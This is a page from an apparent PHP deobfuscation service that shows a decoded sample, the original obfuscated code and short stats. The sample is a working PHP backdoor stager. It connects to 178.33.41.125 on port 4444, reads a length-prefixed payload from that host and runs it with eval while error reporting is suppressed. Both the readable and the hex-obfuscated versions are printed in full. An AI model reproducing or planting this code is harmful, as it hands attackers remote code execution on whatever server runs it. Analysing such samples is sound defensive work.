Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47L\x4f\x42\x41\x4c\x53"}["\x65pg\x64\x62\x6f\x6e\x6d"]="b";${"\x47\x4cOB\x41\x..
Decoded Output download
<?php ${"GLOBALS"}["epgdbonm"]="b";${"GLOBALS"}["ueqxdnngrxu"]="a";${"GLOBALS"}["qktuqfop"]="len";${"GLOBALS"}["fppoxwdilq"]="res";${"GLOBALS"}["snanlljymmd"]="s_type";${"GLOBALS"}["rtrrhd"]="ip";${"GLOBALS"}["rajazrsji"]="s";${"GLOBALS"}["rrusvjpndnjn"]="f";${"GLOBALS"}["elqrxskkj"]="f";${"GLOBALS"}["jaysunvmw"]="f";${"GLOBALS"}["exwgdzdvz"]="port";$xjglwwbhgemc="s";$tnigbdsgvir="f";$ojwhqewf="s_type";error_reporting(0);$cyspljyearo="ip";$vdyoqq="f";$kiyeqfnod="b";${$cyspljyearo}="178.33.41.125";${${"GLOBALS"}["exwgdzdvz"]}=4444;${"GLOBALS"}["koujthwydy"]="s";if((${${"GLOBALS"}["jaysunvmw"]}="stream_socket_client")&&is_callable(${${"GLOBALS"}["elqrxskkj"]})){${${"GLOBALS"}["rajazrsji"]}=${${"GLOBALS"}["elqrxskkj"]}("tcp://{$ip}:{$port}");${"GLOBALS"}["hlmbtbolrex"]="s_type";${${"GLOBALS"}["hlmbtbolrex"]}="stream";}elseif((${$vdyoqq}="fsockopen")&&is_callable(${${"GLOBALS"}["rrusvjpndnjn"]})){${${"GLOBALS"}["rajazrsji"]}=${${"GLOBALS"}["elqrxskkj"]}(${${"GLOBALS"}["rtrrhd"]},${${"GLOBALS"}["exwgdzdvz"]});${${"GLOBALS"}["snanlljymmd"]}="stream";}elseif((${${"GLOBALS"}["elqrxskkj"]}="socket_create")&&is_callable(${$tnigbdsgvir})){$wtmwsjxg="port";${"GLOBALS"}["gqwpvysfq"]="s";$vqyhwiselbj="f";${"GLOBALS"}["dkuqgcexndm"]="res";${"GLOBALS"}["kqcdtrrkgix"]="ip";${${"GLOBALS"}["gqwpvysfq"]}=${$vqyhwiselbj}(AF_INET,SOCK_STREAM,SOL_TCP);${${"GLOBALS"}["dkuqgcexndm"]}=@socket_connect(${${"GLOBALS"}["rajazrsji"]},${${"GLOBALS"}["kqcdtrrkgix"]},${$wtmwsjxg});if(!${${"GLOBALS"}["fppoxwdilq"]}){die();}${${"GLOBALS"}["snanlljymmd"]}="socket";}else{die("no socket funcs");}if(!${$xjglwwbhgemc}){die("no socket");}${"GLOBALS"}["dfxnsvxww"]="len";switch(${$ojwhqewf}){case"stream":${${"GLOBALS"}["dfxnsvxww"]}=fread(${${"GLOBALS"}["rajazrsji"]},4);break;case"socket":${${"GLOBALS"}["qktuqfop"]}=socket_read(${${"GLOBALS"}["koujthwydy"]},4);break;}if(!${${"GLOBALS"}["qktuqfop"]}){die();}${${"GLOBALS"}["ueqxdnngrxu"]}=unpack("Nlen",${${"GLOBALS"}["qktuqfop"]});${${"GLOBALS"}["qktuqfop"]}=${${"GLOBALS"}["ueqxdnngrxu"]}["len"];${${"GLOBALS"}["epgdbonm"]}="";while(strlen(${$kiyeqfnod})<${${"GLOBALS"}["qktuqfop"]}){$wamxpjnvcsit="len";${"GLOBALS"}["pkokhee"]="b";${"GLOBALS"}["hbqvblxex"]="s";$btusfitoctlp="s";$eyctnhqm="len";switch(${${"GLOBALS"}["snanlljymmd"]}){case"stream":${${"GLOBALS"}["epgdbonm"]}.=fread(${${"GLOBALS"}["hbqvblxex"]},${$eyctnhqm}-strlen(${${"GLOBALS"}["epgdbonm"]}));break;case"socket":${${"GLOBALS"}["pkokhee"]}.=socket_read(${$btusfitoctlp},${$wamxpjnvcsit}-strlen(${${"GLOBALS"}["epgdbonm"]}));break;}}$GLOBALS["msgsock"]=${${"GLOBALS"}["rajazrsji"]};$GLOBALS["msgsock_type"]=${${"GLOBALS"}["snanlljymmd"]};eval(${${"GLOBALS"}["epgdbonm"]});die();
?>
Did this file decode correctly?
Original Code
<?php ${"\x47L\x4f\x42\x41\x4c\x53"}["\x65pg\x64\x62\x6f\x6e\x6d"]="b";${"\x47\x4cOB\x41\x4c\x53"}["\x75\x65q\x78\x64\x6en\x67r\x78u"]="\x61";${"\x47\x4cOB\x41\x4cS"}["\x71kt\x75\x71f\x6f\x70"]="\x6c\x65\x6e";${"\x47\x4c\x4fB\x41\x4cS"}["\x66p\x70\x6f\x78\x77\x64\x69lq"]="r\x65\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["s\x6e\x61\x6e\x6clj\x79m\x6d\x64"]="s_\x74ype";${"\x47\x4c\x4f\x42\x41LS"}["r\x74\x72r\x68d"]="\x69\x70";${"G\x4cOB\x41\x4cS"}["\x72a\x6a\x61\x7arsj\x69"]="s";${"\x47L\x4fBA\x4cS"}["\x72\x72\x75\x73\x76\x6a\x70nd\x6ej\x6e"]="f";${"\x47L\x4fB\x41\x4c\x53"}["\x65\x6c\x71\x72\x78\x73\x6b\x6bj"]="\x66";${"\x47\x4c\x4fBA\x4cS"}["\x6a\x61\x79\x73\x75n\x76\x6d\x77"]="f";${"\x47LOB\x41\x4cS"}["\x65\x78w\x67\x64\x7a\x64\x76\x7a"]="\x70\x6f\x72t";$xjglwwbhgemc="\x73";$tnigbdsgvir="\x66";$ojwhqewf="\x73\x5f\x74\x79\x70\x65";error_reporting(0);$cyspljyearo="ip";$vdyoqq="\x66";$kiyeqfnod="\x62";${$cyspljyearo}="178\x2e\x333.41\x2e\x31\x32\x35";${${"\x47\x4cO\x42\x41\x4c\x53"}["e\x78\x77\x67\x64z\x64\x76z"]}=4444;${"\x47\x4c\x4f\x42\x41LS"}["\x6b\x6f\x75\x6a\x74hw\x79\x64y"]="s";if((${${"\x47LO\x42\x41LS"}["\x6aa\x79s\x75\x6e\x76\x6d\x77"]}="str\x65\x61\x6d_\x73\x6f\x63\x6bet\x5fcl\x69en\x74")&&is_callable(${${"\x47\x4c\x4fBALS"}["\x65\x6c\x71rx\x73\x6b\x6b\x6a"]})){${${"\x47LO\x42\x41\x4cS"}["\x72\x61j\x61\x7ar\x73\x6a\x69"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["elq\x72x\x73\x6b\x6b\x6a"]}("\x74\x63\x70://{$ip}:{$port}");${"G\x4c\x4f\x42ALS"}["\x68\x6c\x6d\x62\x74\x62o\x6c\x72\x65x"]="s_t\x79\x70\x65";${${"\x47\x4cO\x42A\x4cS"}["\x68\x6c\x6d\x62tbol\x72\x65\x78"]}="s\x74\x72\x65\x61\x6d";}elseif((${$vdyoqq}="\x66\x73\x6f\x63\x6bop\x65\x6e")&&is_callable(${${"G\x4cO\x42\x41L\x53"}["r\x72us\x76\x6ap\x6e\x64\x6e\x6a\x6e"]})){${${"\x47\x4c\x4f\x42A\x4c\x53"}["ra\x6a\x61z\x72\x73ji"]}=${${"\x47\x4cO\x42\x41L\x53"}["\x65l\x71rx\x73\x6b\x6bj"]}(${${"G\x4cOB\x41\x4cS"}["\x72t\x72\x72\x68\x64"]},${${"\x47LOB\x41\x4cS"}["\x65\x78\x77\x67dzd\x76\x7a"]});${${"\x47\x4c\x4fB\x41\x4cS"}["\x73n\x61n\x6c\x6c\x6a\x79\x6d\x6d\x64"]}="s\x74\x72ea\x6d";}elseif((${${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x6cq\x72\x78s\x6b\x6bj"]}="s\x6f\x63\x6b\x65\x74\x5f\x63re\x61t\x65")&&is_callable(${$tnigbdsgvir})){$wtmwsjxg="\x70\x6fr\x74";${"G\x4c\x4f\x42\x41\x4cS"}["g\x71\x77p\x76\x79\x73\x66\x71"]="s";$vqyhwiselbj="f";${"G\x4c\x4f\x42AL\x53"}["d\x6bu\x71g\x63\x65\x78\x6ed\x6d"]="r\x65\x73";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x71\x63\x64\x74\x72r\x6b\x67i\x78"]="\x69\x70";${${"\x47\x4cO\x42\x41\x4c\x53"}["gq\x77\x70\x76\x79sf\x71"]}=${$vqyhwiselbj}(AF_INET,SOCK_STREAM,SOL_TCP);${${"\x47\x4cO\x42A\x4cS"}["dk\x75\x71g\x63\x65\x78\x6e\x64\x6d"]}=@socket_connect(${${"G\x4c\x4f\x42A\x4c\x53"}["\x72\x61\x6a\x61z\x72\x73\x6a\x69"]},${${"\x47LO\x42A\x4c\x53"}["\x6b\x71cd\x74\x72r\x6bg\x69\x78"]},${$wtmwsjxg});if(!${${"GL\x4fB\x41\x4c\x53"}["\x66\x70\x70o\x78\x77\x64\x69l\x71"]}){die();}${${"\x47\x4c\x4f\x42\x41L\x53"}["s\x6ea\x6e\x6c\x6c\x6a\x79mm\x64"]}="\x73\x6fc\x6b\x65\x74";}else{die("\x6e\x6f \x73\x6f\x63\x6b\x65t\x20fun\x63\x73");}if(!${$xjglwwbhgemc}){die("n\x6f\x20\x73\x6fck\x65\x74");}${"\x47\x4cO\x42A\x4c\x53"}["d\x66\x78\x6es\x76\x78\x77\x77"]="\x6ce\x6e";switch(${$ojwhqewf}){case"s\x74r\x65\x61m":${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64f\x78\x6e\x73\x76x\x77w"]}=fread(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72a\x6a\x61zr\x73\x6ai"]},4);break;case"\x73\x6fc\x6b\x65t":${${"G\x4c\x4fB\x41\x4cS"}["\x71kt\x75q\x66\x6f\x70"]}=socket_read(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x6f\x75jthw\x79dy"]},4);break;}if(!${${"\x47\x4c\x4f\x42A\x4cS"}["\x71k\x74\x75q\x66\x6f\x70"]}){die();}${${"\x47L\x4fBA\x4cS"}["\x75\x65q\x78\x64\x6engrx\x75"]}=unpack("Nl\x65\x6e",${${"GL\x4f\x42\x41\x4c\x53"}["q\x6b\x74\x75qfo\x70"]});${${"\x47\x4cOB\x41\x4cS"}["\x71k\x74\x75q\x66op"]}=${${"\x47L\x4f\x42\x41\x4cS"}["u\x65qx\x64\x6eng\x72\x78u"]}["\x6c\x65n"];${${"GL\x4fB\x41\x4c\x53"}["\x65p\x67\x64\x62\x6f\x6em"]}="";while(strlen(${$kiyeqfnod})<${${"\x47L\x4fB\x41LS"}["\x71\x6b\x74u\x71\x66\x6f\x70"]}){$wamxpjnvcsit="\x6ce\x6e";${"\x47\x4cOB\x41\x4c\x53"}["\x70\x6b\x6fk\x68\x65\x65"]="\x62";${"\x47L\x4f\x42A\x4c\x53"}["\x68\x62\x71\x76\x62\x6c\x78\x65\x78"]="\x73";$btusfitoctlp="\x73";$eyctnhqm="\x6c\x65\x6e";switch(${${"GL\x4f\x42AL\x53"}["\x73n\x61\x6e\x6cl\x6ay\x6d\x6d\x64"]}){case"st\x72eam":${${"GLO\x42A\x4c\x53"}["\x65\x70\x67\x64b\x6fnm"]}.=fread(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x62\x71vb\x6cxe\x78"]},${$eyctnhqm}-strlen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65p\x67\x64\x62\x6f\x6em"]}));break;case"\x73\x6f\x63\x6bet":${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x6bo\x6bh\x65\x65"]}.=socket_read(${$btusfitoctlp},${$wamxpjnvcsit}-strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x65\x70\x67\x64\x62\x6f\x6e\x6d"]}));break;}}$GLOBALS["m\x73\x67s\x6fck"]=${${"\x47L\x4f\x42\x41L\x53"}["\x72\x61j\x61\x7a\x72\x73ji"]};$GLOBALS["m\x73\x67\x73\x6f\x63k_typ\x65"]=${${"GLO\x42\x41\x4cS"}["\x73na\x6e\x6c\x6cj\x79\x6d\x6d\x64"]};eval(${${"G\x4c\x4f\x42A\x4c\x53"}["\x65\x70\x67\x64\x62on\x6d"]});die();
?>
Function Calls
| is_callable | 1 |
| error_reporting | 1 |
Stats
| MD5 | 8dee07297dca345ff9ece19223ea3f50 |
| Eval Count | 0 |
| Decode Time | 111 ms |